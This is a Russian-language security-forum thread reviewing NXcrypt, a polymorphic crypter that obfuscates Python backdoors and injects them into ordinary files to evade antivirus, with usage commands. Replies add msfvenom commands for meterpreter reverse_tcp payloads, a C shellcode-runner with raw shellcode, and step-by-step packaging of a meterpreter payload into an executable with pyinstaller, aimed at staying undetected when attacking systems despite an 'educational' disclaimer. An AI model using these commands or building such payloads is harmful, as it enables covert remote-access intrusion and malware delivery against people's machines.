• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

NXcrypt-python backdoor framework

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1
vertigo.png

Информация,которая представлена в обзоре ,предназначена исключительно для ознакомления
и изучения информационной безопасности.
Администрация ресурса и автор обзора не призывают к её использованию в незаконных целях.


Приветсвую всех Форумчан,Дорогих постоянных гостей нашего ресурса и тех,кого интересует ИБ.
Буквально,несколько дней назад,Hadi опубликовал великолепную ,на мой взгляд работу.

Это полиморфный Криптор,обладающий своими модулями шифрования и инжекта.
Он использует внутренний модуль python py_compile , компилирует код в байт-код файла .pyc file
И затем конвертирует этот файл в обычный .py,обфусцируя код таким образом,что меняется md5sum на выходе.

Модуль инжекта предназначен для ввода вредоносного файла python в обычный файл с многопотоковой системой.

Вот такой инструмент,обработанные файлы которым ,по состоянию на текущий момент,не детектятся AV.
Удобен он конечно в совместной работе с Metasploit.
Никаких особенных зависимостей и предпочтений Linux-дистрибутивов не имеет.

Ну чтож,приступим:
Код:
git clone https://github.com/Hadi999/NXcrypt.git
cd NXcrypt/
chmod +x NXcrypt.py
sudo ./NXcrypt.py --help (криптор требует работу от рута)

Опции можно посмотреть на скриншоте
vertigo1.png


Применение и алгоритмы команд:

Код:
sudo ./NXcrypt.py --file=backdoor.py --output=output_backdoor.py # encrypt backdoor.py and output file is output_backdoor.py
    sudo ./NXcrypt.py --file=shell.py # encrypt shell.py and default output file is backdoor.py but you can edit it in source code
    sudo ./NXcrypt.py --help # NXcrypt help
    sudo ./NXcrypt.py --backdoor-file=payload.py --file=test.py --output=hacked.py # inject payload.py with test.py into hacked.py with multi-threading system

Прилагаю также видео от автора,где можно посмотреть работу на примере генерирования полезной нагрузки с помощью msfvenom.

Ну ,а я на этом желаю вам отличного настроения и до новых встреч.

 
H

Hackaton192

А чем можно конвертнуть потом Python в Exe формат?
 
  • Нравится
Реакции: citizen2517

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1
Молодца!) хачу ищо!))
Пока небольшой тайм-аут)) Не один же автор обзоров.Неделя,надо отметить,
удалась урожайной по отменному материалу,хотя ещё не закончилась.
Коллег всегда приятно читать,узнавать новое,а это отдых и чувство комфорта.
За ссылку спасибо на py2exe-отличное дополнение темы.
 
  • Нравится
Реакции: citizen2517 и kokorionk

yvv4recon

Green Team
23.11.2016
20
7
BIT
0
Люди добрый, нужен совет!
1)Из metasploit получаю shellcode:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.123 lport=12345 -b \0x0a\0x0b\0xff -f c > /home/iam/shellcode.c
2) Затем пытаюсь запустить.
#include <stdio.h>
#include <string.h>

unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x83\xa9\xe9\x96\xd1\x41\xaa\xc9\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x98\x16\xfc\xd8\x19"
"\x33\x7f\x93\xe1\x60\x40\x9c\x70\x63\xa3\xa1\xe8\xb3\x24\xd6"
"\x4e\xaf\x9f\xd3\xc3\xc0\xce\x48\x2b\xa8\x96\xe9\xa8\xb7\x99"
"\xd4\x09\x3d\x81\x3a\xab\xe9\xa6\xe8\x81\x02\xdb\x32\xf8\xa1"
"\x1f\x37\x2b\xba\x93\xe9\x83\xb1\x99\xd4\x18\xf4\x93\x8c\xac"
"\x16\x70\xd1\x41\xaa\xc9";


int main(void) {
printf("Shellcode length: %dn", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();

return 0;
}

НО ОН ВОЗВРАЩАЕТ SEGMENTATION FAULT

В чем может быть дело?
 
  • Нравится
Реакции: citizen2517

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1
В чем может быть дело?
Параметры LHOST,LPORT и др.указываются только заглавными.
С портом понятно,что для примера.
Попробуйте вначале так:
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=12345 -a x86 --platform Linux -f c
#include<stdio.h>
#include<string.h>
Т.е. ,без отсечения -b (вредных символов)
 
  • Нравится
Реакции: citizen2517

IF_ELSE

Green Team
20.01.2017
24
8
BIT
0
Спасибо, очень познавательно! Попробовал конвертировать при помощи утилы py2exe - вываливает ошибку такого плана

c:\Python27>python setup.py py2exe
running py2exe
creating c:\Python27\build
creating c:\Python27\build\bdist.win-amd64
creating c:\Python27\build\bdist.win-amd64\winexe
creating c:\Python27\build\bdist.win-amd64\winexe\collect-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\bundle-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\temp
creating c:\Python27\dist
*** searching for required modules ***
error: compiling 'meterpreter2.py' failed
TypeError: compile() expected string without null bytes

Может кто из форумчан сталкивался? Гуглить пробовал, но решения так и не нашел.
 

Вложения

  • cmd.jpg
    cmd.jpg
    37,6 КБ · Просмотры: 245
  • Нравится
Реакции: citizen2517 и flesh91

kot-gor

Grey Team
07.09.2016
529
705
BIT
0
Спасибо, очень познавательно! Попробовал конвертировать при помощи утилы py2exe - вываливает ошибку такого плана

c:\Python27>python setup.py py2exe
running py2exe
creating c:\Python27\build
creating c:\Python27\build\bdist.win-amd64
creating c:\Python27\build\bdist.win-amd64\winexe
creating c:\Python27\build\bdist.win-amd64\winexe\collect-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\bundle-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\temp
creating c:\Python27\dist
*** searching for required modules ***
error: compiling 'meterpreter2.py' failed
TypeError: compile() expected string without null bytes

Может кто из форумчан сталкивался? Гуглить пробовал, но решения так и не нашел.
у меня тоже не вышло сконвертировать причем как в винде так и в линуксе..буду признателен, если у кого получилось, поделится опытом..
 
  • Нравится
Реакции: citizen2517

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1
Параметры LHOST,LPORT и др.указываются только заглавными.
С портом понятно,что для примера.
Попробуйте вначале так:
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=12345 -a x86 --platform Linux -f c
#include<stdio.h>
#include<string.h>
Т.е. ,без отсечения -b (вредных символов)
Архитектору только требуемую не забудьте указать (у Вас x64)
 
  • Нравится
Реакции: citizen2517

flesh91

Green Team
25.02.2017
35
51
BIT
0
Хочу узнать получилось ли кому то конвертировать в EXE так как у меня такая же ошибка как у форумчан выше: "TypeError: compile() expected string without null bytes"
 
  • Нравится
Реакции: citizen2517

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1
Хочу узнать получилось ли кому то конвертировать в EXE так как у меня такая же ошибка как у форумчан выше: "TypeError: compile() expected string without null bytes"
Пришлось съимитировать такую ошибку у себя.Скорее всего какие-то параметры указаны были неверно (отступы,возможно)

Расскажу,как иногда это делаю.
Сразу оговорюсь,что py2exe не пользовался.
Если кто желает переквалифицировать py в exe после полиморфного чудовища из темы,
то это плохая идея.

Использую для таких целей pyinstaller.
1.Готовлю файл py c помощью msfvenom
Например,даже без указания цели:
msfvenom --payload=python/meterpreter/reverse_tcp --out=solomon.py
Готово,этот файл можно будет найти по пути cd-ls-solomon.py

2.Для удобства можно скопировать в директорию test (к примеру) на рабочем столе.
#cd, #ls, #cp solomon.py /root/Рабочий\ стол/test

3.# rm -rf solomon.py (нечего мусорить лишний раз)
4.Захожу в директорию test и работаю с pyinstaller
cd /root/Рабочий\ стол/test/
ls - видим наш solomon.py
Теперь pyinstaller solomon.py

5.Всё,он сам сделает требуемое.И это без дополнительных опций (сжатие и т.д)
В директории test создадутся ещё 2 директории build и dist
В них можно найти файлы без расширения solomon
Это и есть экзешники.

Иногда использую вот такую красоту.На Kali Работает,тоже предлагает форматы.
https://github.com/r00t-3xp10it/venom.git
Вопрос следующий в том,как ещё и закриптовать в exe-формате.
Avoidz из таких инструментов,можно ещё много нарыть на форуме по бай-пасам.
 

IF_ELSE

Green Team
20.01.2017
24
8
BIT
0
Уважаемый Vertigo прав - обфусцированный и закодированный py-файл не конвертится. Я сделал полезную нагрузку msfvenom-om и использовав библиотеку ctypes вставил ее в py-файл, а потом pyinstaller - все прошло. Ради интереса заюзал NXcrypt и попробовал собрать - та же ошибка. Единственный момент, который не учел - разрядность ОС. Ехе при запуске ругнулся на несовместимость.
 
  • Нравится
Реакции: citizen2517 и Vertigo
J

jaguar

Как исправить? вожу вот так pyinstaller solomon.py
File "/usr/local/bin/pyinstaller", line 11, in <module>
load_entry_point('PyInstaller==3.3.dev0+abfc80661', 'console_scripts', 'pyinstaller')()
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/__main__.py", line 87, in run
run_build(pyi_config, spec_file, **vars(args))
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/__main__.py", line 45, in run_build
PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 788, in main
build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'))
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 734, in build
exec(text, spec_namespace)
File "<string>", line 16, in <module>
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 212, in __init__
self.__postinit__()
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/datastruct.py", line 161, in __postinit__
self.assemble()
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 413, in assemble
priority_scripts.append(self.graph.run_script(script))
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/depend/analysis.py", line 196, in run_script
self._top_script_node = super(PyiModuleGraph, self).run_script(pathname)
File "/usr/local/lib/python2.7/dist-packages/PyInstaller/lib/modulegraph/modulegraph.py", line 1386, in run_script
co_ast = compile(contents, pathname, 'exec', ast.PyCF_ONLY_AST, True)
TypeError: compile() expected string without null bytes
 
Последнее редактирование модератором:

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1
Как исправить? вожу вот так pyinstaller solomon.py
Давайте с самого начала: как устанавливали pyinstaller, как сгенерировали файл.py,как его назвали.
Из примера ,файл solomon - это импровизированное произвольное название выходного файла.У Вас он может быть иным.
 
J

jaguar

apt-get install pyinstaller
pip install pyinstaller
pyinstaller yourprogram.py

потом
Захожу в директорию test и работаю с pyinstaller
cd /root/Desktop/test/
ls - видим наш solomon.py
Теперь pyinstaller solomon.py
 

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1

Вложения

  • vertigo1.png
    vertigo1.png
    111,1 КБ · Просмотры: 235
  • vertigo2.png
    vertigo2.png
    90,4 КБ · Просмотры: 232
  • vertigo3.png
    vertigo3.png
    41,6 КБ · Просмотры: 615
  • vertigo4.png
    vertigo4.png
    6,9 КБ · Просмотры: 238
  • Нравится
Реакции: jaguar
J

jaguar

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=12345 -a x86 --platform Linux -f c
Как сделать платформу? питон не хочет кушать
msfvenom --payload=python/meterpreter/reverse_tcp --out=/root/NXcrypt/cia.py LHOST=192.168.1.123 LPORT=4444 вот так все отлично как только поставить платформу и где?
 
  • Нравится
Реакции: Vertigo
M

Max2

Чето не пойму, Так будет он собираться в exe после NXcrypt или нет?
 

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 997
BIT
1
Чето не пойму, Так будет он собираться в exe после NXcrypt или нет?
Я не пробовал,т.к. знаю,что теоретически это возможно,но очень сложно- переиначить закодированный обфусцированный файл.
За других я не могу сказать,и это будет правильными словами,поскольку нужны очень глубокие знания и опыт .
К тому же,например ,не понимаю,чем не устраивают другие решения с файлами-экзешниками,коими богата наша база форума.
Инструмент задуман для совместной работы с Метасплойт,позволяет быть необнаруженными файлам,при атаке на современные системы.Разрабатывать конкретно под него что-то другое для работы с ним ? Это не актуально.Время идёт,лаборатории работают над своими продуктами(и правильно делают).Когда-нибудь,его использование тоже станет неприменимым,а появятся другие решения.
 
  • Нравится
Реакции: IF_ELSE и kot-gor
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!